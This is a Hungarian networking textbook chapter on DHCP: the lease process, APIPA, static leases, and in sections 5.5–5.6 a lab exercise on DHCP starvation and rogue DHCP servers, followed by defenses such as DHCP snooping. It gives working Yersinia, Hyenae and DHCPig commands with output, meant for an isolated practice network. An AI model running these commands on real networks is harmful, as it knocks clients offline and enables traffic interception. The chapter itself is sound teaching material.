5. A DHCP

A szerverek és munkaállomások hálózati paramétereinek beállítása a rendszergazdák feladata. A címeket a belső szabályaik alapján osztják ki úgy, hogy a címtartományukat több intervallumra osztják fel, és az egyes eszközöket azok feladata vagy a típusa alapján sorolják be valamelyikbe. Az alábbi példa egy általam gyakran használt felosztást mutat az 192.168.22.0/24-es hálózatra:

Tartomány	Címek száma	Feladatkör
192.168.22.1-192.168.22.10	10	Szerverek
192.168.22.11-192.168.22.20	10	Hálózati eszközök, switchek.
192.168.22.21-192.168.30	10	Acces Pointok
192.168.22.31-192.168.22.40	10	Hálózati nyomtatók
192.168.22.41-192.168.22.50	10	Videokamerák
192.168.22.51-192.168.22.127	76	Munkaállomások publikus internet eléréssel
192.168.22.128-192.168.22.191	63	Munkaállomások internet elérés nélkül
192.168.22.192-192.168.22.254	62	További eszközök számára fenntartva

A Egyes számítógépek esetében ún. statikus (másnéven fix) IP cím beállítást szokás alkalmazni. A szerver számítógépek kifejezetten ebbe a körbe tartoznak, címük nagyon ritkán változik, melynek esetleges cseréjét egy tervezett szolgáltatáskieséssel járó folyamat során lehet megváltoztatni. A statikus címek attól statikusak, hogy azokat a rendszergazdák egyszerűen megadják az operációs rendszer megfelelő pontján, és azok a későbbiekben sem változnak meg.

Más berendezések, pl. a nyomtatók, vezetéknélküli végpontok címe ugyan fix kell, hogy legyen, de azok beállítása az eszközön néha meglehetősen nehézkes: az egyes nyomtatók beállítási felületei jelentősen eltérnek, egyesek jelszóval védettek, vannak köztük kijelzővel rendelkezők, míg mások csak webes felületen menedzselhetők. Az access pointokat rendszerint álmennyezet alá, vagy magas pontokra rögzítik, ugyanez mondható el az IP kamerákról, füstjelzőkről és számos más eszközről. Ezek hálózati beállításainak módosítása a gyakorlatban a rendszergazdáktól az álmennyezet megbontását, majd egy létra tetején egyensúlyozva, egy laptopról fél kézzel végzett munkát igényelnének.

A munkaállomások nem nyújtanak mások számára elérhető szolgáltatásokat, ezért számukra csak az a fontos, hogy a részükre kijelölt tartományban rendelkezzenek egy IP címmel azért, hogy képesek legyenek a hálózat más eszközeivel kommunikálni. Az ilyen gépek IP címeinek és egyéb hálózati paramétereinek beállítási feladatát nagyban leegyszerűsíti egy olyan számítógép vagy router, amely számukra a megfelelő időpontban a legfontosabb hálózati paramétereket át tudja küldeni. Ezek a legtöbb esetben négy-öt adatot tartalmaznak:

• IP cím és netmaszk.

• Alapértelmezett átjáró.

• DNS szerver.

• Kapcsolatspecifikus utótag (erről egy kicsit később részletesebben lesz szó).

A teljesség kedvéért meg kell jegyezni, hogy a fenti paramétereken kívül számos más paraméter is küldhető, mint pl. az időszerver IP címe. Az időszerver meg tudja mondani, pontosan mennyi az idő – így a számítógépük szinkronizálni tudja vele a saját óráját. Ezekkel a további paraméterekkel a továbbiakban nem foglalkozunk.

A feladatot ellátó szerver kommunikációs protokollja a DHCP (Dynamic Host Configuration Protocol), az azt kiszolgáló szerver neve pedig DHCP szerver. A szolgáltatást igénybe vevő gép vagy egyéb berendezés a DHCP kliens. A gyakorlatban a DHCP szerver szolgáltatást routerek, ritkábban szerver számítógépek végzik. DHCP szervere szinte mindenkinek van, aki az otthonában rendelkezik internet kapcsolattal, ez a szolgáltatás minden házi routerbe építve megtalálható. Ez az oka annak, hogy a címek kiosztásával az otthoni hálózat esetében sem kell foglalkozni.

Az alábbi ábra egy dhcp klienseket és szervereket tartalmazó hálózatot ábrázol. Bár a gyakorlatban ritkán fordul elő, hogy egy hálózatban két DHCP szerver is üzemel, a címkérési folyamat megértéséhez egy ilyen hálózatot fogunk használni.

DHCP szerverek egy hálózatban

Egy munkaállomás a bekapcsolása után (és azt követően rendszeres időközönként) egy címkérési (később pedig egy megújítási) folyamatot hajt végre. Ez négy lépésből áll, melyek az alábbiak:

1. DHCP-felfedezés (DHCPDISCOVER). A DHCP információk megszerzése más protokollokkal szemben azért problémás, mert a folyamatát úgy kell véghezvinni, hogy a kliens nem rendelkezik hálózati paraméterekkel. A megoldást a második és harmadik rétegben küldött broadcast üzenetek alkalmazása jelenti, ezek olyan az üzenetek, amelyeket minden számítógép vesz és sajátjának is tekint. A DHCP kérést a kliens a 0.0.0.0 forrás címmel indítja, címzettje a 255.255.255.255 (broadcast) cím. A tartalma egy ún. DHCPDISCOVER üzenet, melyre csak azok a gépek válaszolnak, amelyeken fut a DHCP szerver szolgáltatás. A példánkban szereplő hálózatban két ilyen is működik: egy számítógép és a router.

2. DHCP-ajánlat (DHCPOFFER). A DHCP szerverek mindegyike egy ajánlattal válaszol a kliens kérésére, mely legalább egy IP címet és netmaszkot tartalmaz, de számos további paramétert, tipikusan a DNS szerver és az átjáró címét megadhatja. Ezt a választ, melyet DHCPOFFER-nek neveznek választ küldenek, amelyeket a kérést küldő kliens megkap. A vétel után a kapott paraméterekkel beállítja a saját IP címét és a hozzá tartozó netmaszkot, az alapértelmezett átjárót és a DNS szervert is.

3. DHCP-kérés (DHCPREQUEST). A már kommunikációsképes kliens az elfogadott hálózati paraméterekkel egy újabb broadcast csomagot küld, melyben jelzi, hogy az esetlegesen felkínált több ajánlat közül melyiket fogadta el. Az így küldött DHCPREQUEST értesíti a szervereket a megjelent új gép paramétereiről, és visszajelzést ad a felkínált de végül nem elfogadott címekről is.

4. DHCP-nyugtázás (DHCPACK). A szerver végül egy utolsó nyugtát küld a kliensnek, melynek ellenőrzési célja is van, az ehhez kapcsolódó arp lekérdezéssel a kliens tudni fogja, hogy a szóban forgó cím nem tartozik más számítógéphez.

A DHCP szerver egy nyilvántartást vezet a szabad és kiosztott IP címekről, mely szinte minden eszköz esetében lekérdezhető. A lista időnkénti ellenőrzésével könnyen észrevehető, ha a hálózatban ismeretlen vagy illegális eszköz jelenik meg, vagy otthon, ha a szomszéd „lopja a WiFi-t” :-). Az alábbi ábra egy ilyen lekérdezésre mutat példát egy Mikrotik routerben:

[admin@koczka-fw] > /ip/dhcp-server/lease/print
Flags: D, B - BLOCKED
Columns: ADDRESS, MAC-ADDRESS, HOST-NAME, SERVER, STATUS, LAST-SEEN
#   ADDRESS        MAC-ADDRESS        HOST-NAME               SERVER  STATUS   LAST-SEEN
0 D 192.168.10.53  18:E8:29:CC:E5:5B  Konyha                  dhcp1   bound    7s
1 D 192.168.10.52  44:23:7C:6C:D5:43  ESP_6CD543              dhcp1   bound    1m12s
2 D 192.168.10.97  C8:F7:42:FA:53:0C  BL-fa-53-0c             dhcp1   bound    2m29s
3 D 192.168.10.85  94:F8:27:B4:F8:62  chuangmi_camera_021a04  dhcp1   bound    2m24s

5.1. A DHCP kliens

A Windows operációs rendszerben az aktuális hálózati beállítások parancssorban is lekérdezhetők, a DHCP szolgáltatásban kapott címek megújíthatók és amennyiben szükséges, vissza is adhatók. A szükséges parancsok használatát példákon keresztül tekintjük át, kezdjük az ipconfig /all paranccsal!

Hálózati paraméterek lekérdezése Windows parancssorban

A válaszban számos hasznos adat jelenik meg, a fontosabbak az alábbiak:

• Az egyes interfészekhez tartozó IP címek és alhálózati maszkok.

• Az alapértelmezett átjáró.

• A DNS szerver IP címe.

• A címet birtokló ethernet interfész MAC címe.

• A DHCP paramétereket szolgáltató szerver IP címe.

• A bérleti idő kezdete a DHCP paraméterek átadásának időpontját tartalmazza.

A bérleti idő lejártával az operációs rendszernek a paramétereket meg kell újítania, különben elveszti azokat. A megújítási igényt a DHCP szerver hagyja jóvá, a bérleti idő kezdetét az aktuális időre állítja, és a bérleti időt meghosszabbítja. A bérlet lejáratására azért van szükség, mert pl. mobil számítógépek el tudják hagyni a szolgáltatási területet úgy, hogy a DHCP szerver számára a címbérlet megszüntetését nem tudják jelezni. A gyakorlatban elég csak a WiFi hálózaton működő mobiltelefonokra vagy laptopokra gondolni – feltételezem, hogy az olvasó sem szokta a számítógépén az egyes WiFi hálózatok elhagyásakor a kapcsolatot bontani. A bérleti idő hosszát a DHCP szerver adminisztrátora állítja be, egy SOHO router esetében ez akár egy hét is lehet, gyakran használt érték az egy nap, de nagy számú kliens gyakori mozgása esetén, pl. éttermekben, repülőtereken ennél sokkal rövidebb, akár egy órás időtartamot szokás beállítani.

Hálózati paraméterek lekérése egy DHCP szervertől

A hálózati paraméterek visszaadása a DHCP szervernek

5.2. Az ad-hoc network

A számítógépek operációs rendszerei alapértelmezésben DHCP kliensként vannak beállítva. Ha egy ilyen gépet egy olyan hálózatban kapcsolunk be, amelyben nincs DHCP szerver, a kliens ugyan kiküldi a DHCPDISCOVER üzenetet a hálózaton, de arra egyetlen válasz sem érkezik majd. Mi történjék ekkor? Bár első pillanatban az tűnne természetesnek, hogy a kliens ezek után nem rendelkezik hálózati paraméterekkel, így kommunikálni sem tud, valójában nem igy történik.

A kliens egy ilyen esetben az ad-hoc network (a Cisco terminusában APIPA - Automatic Private IP Addressing) beállítási mechanizmusát végzi el, melynek során az erre deklarált 169.254.0.0/16 tartományból választ egy IP címet magának. Bár a /16-os címtartomány elég nagy, azért elképzelhető, hogy az ilyen módon választott címet már egy másik számítógép korábban már elkezdte használni, ezért a kliens először ellenőrzi, hogy a választott cím szabad-e (ehhez egy arp kérést használ). Amennyiben az valóban foglaltnak bizonyul, a folyamat újabb kört tesz: a kliens egy másik címet választ és megint elvégzi az ellenőrzést. A folyamat egy szabad cím megtalálásáig tart, ekkor a kliens használatba veszi azt. Az alábbi példa egy ad-hoc cím beállítását mutatja:

C:\>ipconfig
Connection-specific DNS Suffix..:
Autoconfiguration IPv4 Address..: 169.254.125.60
Subnet Mask.....................: 255.255.0.0
Default Gateway.................: 0.0.0.0

Az ad-hoc hálózat és a címválasztási mechanizmus ismerete több szempontból is fontos. A 169.254.0.0/16-os címtartományba tartozó kliens cím azt jelenti, hogy a DHCP címigénylés nem volt sikeres. Emellett fontos tudni, hogy annak ellenére, hogy egy gép hálózati beállításait nem végeztük el, az képes más, szintén ad-hoc hálózati címet használó gépekkel kommunikálni.

Megjegyzés

Linux alatt a hálózati paraméterek kiírását a ip address list parancs végzi. A használt címek visszaadását a dhclient -r (remove), megújítását vagy lekérését pedig a paraméter nélküli dhclient végzi. Utóbbi esetében a folyamat nyomon követhető, ha azt a -v kapcsolóval együtt használod.

Az ad-hoc network működése információbiztonsági szempontból is fontos: ez a mechanizmus ugyanis biztosítja az egy hálózaton belüli számítógépek kommunikációs képességét akkor is, ha azért semmilyen lépést sem tettünk: nem állítottunk be fix címeket és DHCP szerver sem áll rendelkezésre.

5.3. Fix címek

A gyakorlatban hasznos lehet, ha a DHCP szerver számára előírhatjuk, hogy mely ethernet címhez (tehát adott géphez, hálózati berendezéshez) melyik IP címet kell rendelnie. Ezt a beállítás szokták alkalmazni a hálózati nyomtatók, AP-k, és minden más olyan eszköz esetén, amely valamilyen szolgáltatást nyújt. A DHCP-vel kiosztott, de a MAC címmel összerendelt címeket statikus DHCP címeknek nevezzük, és segítségükkel az említett berendezések hálózati beállításai anélkül módosíthatók, hogy az adott eszközt a rendszergazdáknak fel kellene keresni.

Megjegyzés

A statikus DHCP összerendelés azon kevés szolgáltatások egyike, amit a Packet Tracer nem képes megvalósítani, így ezt a Mikrotik routerén keresztül mutatjuk be. A valós, fizikai routerek esetében ez a probléma természetesen nem áll fenn.

Az alábbi ábrán szereplő beállítások alapján, amikor a 28:F0:76:1F:ED:72 MAC című gép egy DHCPDISCOVER kérést küld, a DHCP szerver arra minden esetben a 192.168.10.20-as címet küldi majd vissza, így a kliens úgy viselkedik, mint ha abban fix címet állítottunk volna be. Az ábrán látható, hogy az összerendelésben más paramétereket is megadhattunk, pl. a bérleti időt e gép esetében 1 órában határoztuk meg.

MAC-IP összerendelés a Mikrotik router DHCP szerverében

5.4. A DHCP hátrányai

A DHCP használata nem feltétlenül csak előnyös. Az egyik (véleményem szerint elméleti) problémát a broadcast üzenetek jelentik: ezeket az üzeneteket a hálózat minden gépe számára továbbítani kell és azokat legalább részben fel kell dolgozniuk, ami felesleges terhelést jelent.

Bár a DHCP szerverek naplózzák a címkiadási folyamatot, ezeket általában nem tárolják hosszú ideig. Hatósági eljárások és forenzikus vizsgálatok során hasznos, ha a DHCP szerver által kiosztott MAC cím - IP cím párosokat tartósan megőrizzük. Ezzel egy esetleges incidens esetén évekkel később is azonosítható annak forrása.

Emellett a DHCP nem feltétlenül biztonságos, egy hálózatban elhelyezett csaló DHCP szerverrel a hálózat működése könnyen megzavarható, és a címtartomány könnyen kimeríthető.

5.5. A DHCP támadása

A DHCP szerverek ellen indított támadások leginkább a helyi hálózatból indíthatók. Az egyik leggyakoribb támadási forma a dhcp kiéheztetése (DHCP starving), melynek célja a DHCP szerver által kiosztható címtartomány gyors kimerítése. Ennek során a támadó egy alkalmas szoftverrel különböző, hamis MAC címek tömegét generálja, és azokkal a DHCP szerver felé DHCPDISCOVER kéréseket küld, a válaszokat pedig figyelmen kívül hagyja. A DHCP szerverek előbb-utóbb kifogynak a kiosztható címekből, így a hálózat többi gépe számára már nem tudnak újakat kiadni, a lejárókat pedig azok nem tudják megújítani. A folyamatos támadás alatt a hálózat kliens számítógépei kommunikációképtelenné válnak. A DHCP kiéheztetést számos kész, támadó szoftverrel meg lehet valósítani, a teljesség igénye nélkül néhány:

• Yersinia (https://github.com/tomac/yersinia)

• Hyenae (https://sourceforge.net/projects/hyenae/)

• Dhcpstarv (https://github.com/sgeto/dhcpstarv)

• Gobbler (https://sourceforge.net/projects/gobbler/)

• DHCPig (https://github.com/kamorin/DHCPig)

Lássunk egy példát a DHCP szerver kiéheztetésére a Yersinia-val! Ez szintén része a Kali és a Backbox Linuxnak, mely nem csak kiéheztetéses, hanem több más támadás kivitelezésére alkalmas.

Veszély

Figyelem! Ezt a gyakorlatot sem a saját gépeden végezd el, mert azzal a valódi, a hálózatodban használt DHCP szerver átmenetileg működésképtelenné válik. Használd az órai demonstráció során bemutatott RouterOS-t és a Backbox Linuxot egy elszeparált, pl. Virtualboxban létrehozott belső hálózatban!

A Yersinia interaktív módban kezelhető, indítását a yersinia -I paranccsal végezzük. Az alapértelmezett hálózati kártya nyugtázása után a g megnyomásával listázhatók a program által kínált támadás típusok, melyek közül most a DHCP - Dynamic Host Configuration Protocol-t választjuk ki. A támadás paramétereit az x megnyomása után megjelenő panelben állíthatjuk be, a sending DISCOVER packet (1) kiválasztásával DHCP kérések tömegét indítjuk el. A támadás folyamata a képernyőn követhető, leállítása a K gomb megnyomásával történik.

A Yersinia kiéhezteti a DHCP szervert

Az alábbi ábrán egy RouterOS rendszerű router webes felületén látható ennek eredménye: a berendezés DHCP bérleteket tartalmazó táblája pillanatok alatt betelt, így az nem képes a hálózat számítógépei számára a címszolgáltatási- és megújítási feladatok ellátásra.

A megtámadott DHCP szerver kifogy a rendelkezésre álló IP címekből.

A router parancssoros felületén lekérdezhető a foglalt IP címek száma:

[admin@MikroTik] > /ip dhcp-server lease print count-only
91

A támadó program leállítását követően az igényelt IP címek nem szabadulnak fel azonnal. A példa utolsó oszlopában (Expires After) a címbérlet hátralevő ideje látható, mely ott 6 perc, 19 másodperc. Azokat a DHCP szervereket azonban, melyek alapértelmezésben sokkal hosszabb, pl. egy napos vagy akár egy hetes időtartamot használnak, ez a típusú támadás hosszú időre működésképtelenné teszi.

A támadás hasonlóképpen végezhető el más támadó szoftverekkel is.

A Hyenae parancssoros változatával elég a hyenae -I 1 -a dhcp-request -s %-0.0.0.0 -d ff:ff:ff:ff:ff:ff-255.255.255.255, egy másik formában a /hyenae-ng -I en0 -T UDP -p 68:67 -f 20 -x randmac -A DHCP-Discover -l 10000 indítása.

Hasonló eredmény érhető el a DHCPig-gel. Ezt Python nyelven írták, így a telepítése és futtatása valamelyest bonyolultabb, többek közt azért, mert a git parancsra és egy Python környezetre is szükség van. Ezért sokkal kézenfekvőbb a már „összerakott”, támadó operációs rendszerek létrehozásának, mert ezek a szükséges szoftvereket már tartalmazzák, így azokat már csak használni kell. Az alábbi példában letöltjük a DHCPig-et, telepítjük a futtató környezetet és elindítjuk a DHCP szerver kiéheztetését:

koczka.ferenc@Koczkas-iMac~ git clone https://github.com/kamorin/DHCPig.git
koczka.ferenc@Koczkas-iMac~ cd DHCPig
koczka.ferenc@Koczkas-iMac~/DHCPig pip3 install scapy
koczka.ferenc@Koczkas-iMac~/DHCPig python3 pig.py en1

[ -- ] [INFO] - using interface en1
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[DBG ] ARP_Request 192.168.10.1 from 192.168.10.79
[DBG ] ARP_Request 192.168.10.63 from 192.168.10.1
[ ?? ]                waiting for first DHCP Server response
[--->] DHCP_Discover
[--->] DHCP_Discover
[DBG ] ARP_Request 192.168.10.63 from 192.168.10.1
[--->] DHCP_Discover
[--->] DHCP_Discover
[DBG ] ARP_Request 192.168.10.1 from 192.168.10.79

A DHCPig futtatása szintén a router DHCP címtartományának kimerülését eredményezi.

[admin@home-fw] > /ip dhcp-server lease print
Flags: D, B - BLOCKED
Columns: ADDRESS, MAC-ADDRESS, HOST-NAME, SERVER, STATUS, LAST-SEEN
...
21 D 192.168.10.82   DE:AD:26:14:E9:A1  CTV8ITKV                dhcp1   bound     1m6s
22 D 192.168.10.83   DE:AD:1A:78:A6:06  99VRWPJY                dhcp1   bound     1m6s
23 D 192.168.10.84   DE:AD:0F:4D:56:9F  4O8AQABT                dhcp1   bound     1m5s
24 D 192.168.10.86   DE:AD:1E:19:41:8B  S1S7WTDX                dhcp1   bound     1m5s
25 D 192.168.10.87   DE:AD:0F:56:66:3E  UXN9RDQ3                dhcp1   bound     1m4s
26 D 192.168.10.88   DE:AD:02:68:12:AC  2LV9789A                dhcp1   bound     54s
27 D 192.168.10.89   DE:AD:0B:5C:E4:1E  EZ7WC7J9                dhcp1   bound     54s
28 D 192.168.10.90   DE:AD:1A:07:CC:D6  2GR8BXPS                dhcp1   bound     53s
29 D 192.168.10.91   DE:AD:0D:16:3E:C4  TNK6TXB7                dhcp1   bound     53s
30 D 192.168.10.92   DE:AD:00:73:6E:1C  FCTSEIAB                dhcp1   bound     52s
31 D 192.168.10.93   DE:AD:20:7C:DD:B8  AHFUIF09                dhcp1   bound     52s
32 D 192.168.10.95   DE:AD:1A:32:8D:B5  EJS6NQSR                dhcp1   bound     51s
33 D 192.168.10.98   DE:AD:04:00:22:FA  XMMS6OZT                dhcp1   bound     51s
34 D 192.168.10.100  DE:AD:1B:43:F0:E0  O7VMO155                dhcp1   bound     51s
...

A DHCP starving kivédése nem egyszerű feladat, csak megfelelően konfigurálható eszközökkel végezhető el. A legegyszerűbb védekezési mód a statikus hálózati beállítások használata (ami azt jelenti, hogy nem használunk DHCP-t). A CAM támadásnál már bemutatott védekezés, mely korlátozza az egy interfészen kiszolgálható hardver címek számát, a DHCP kiéheztetés ellen is hatékonyan működik. Több munkát igénylő, de szintén hatékony védekezési mód a kliensek MAC címeinek és IP címeinek statikus összerendelése, és a dinamikus címek kiszolgálásának letiltása. A Cisco routerek esetében további lehetőség a rate limit használata, ezzel a DHCP kérések száma időben korlátozható, így az nem terhelhető túl.

ip dhcp snooping limit rate [sebesség]

5.6. Csaló DHCP szerver beállítása

A DHCP szerver ellen indított támadás további más támadások kiindulópontja is lehet. Egy Man in the middle típusú támadás megvalósításának egyik kedvelt módszere a hálózat DHCP szerverének lecserélése egy, a támadó által konfigurált példányra. Ez a kliensek számára nem az eredeti, hanem a támadó szándékának megfelelő, módosított paramétereket ad úgy, hogy az átjárót a támadó gépre állítja át. Ezzel eléri, hogy a kliensek teljes forgalma rajta haladjon keresztül, így azt monitorozni tudja. A DNS szerver módosításával pedig a kliensek egy adott weboldal felkeresésekor nem az eredeti, hanem a támadó által előkészített csaló weboldalalakra terelhetők. Ezek a támadások gyakran az aktuális DHCP szerver kiéheztetésével kezdődik, melyek ezt követően már nem képes a kliensek kiszolgálására. A témával bővebben majd a DNS támadásról szóló fejezetben foglalkozunk.

A csaló DHCP szerverek beállítása ellen a Cisco eszközök esetén a DHCP Snooping beállítással védekezhetünk. Ezzel meghatározhatjuk a legitim DHCP szervereket, és megakadályozhatjuk, hogy más portokon DHCP szerverek működhessenek. A nem megbízható interfészek (ahol nincs beállítva az ip dhcp snooping trust ) csak a DHCP kéréseket engedik, de a DHCP válaszokat és ajánlatokat (DHCPOFFER, DHCPACK) blokkolni fogják.

Tennivaló

ip dhcp snooping

interface [interfész neve]
ip dhcp snooping trust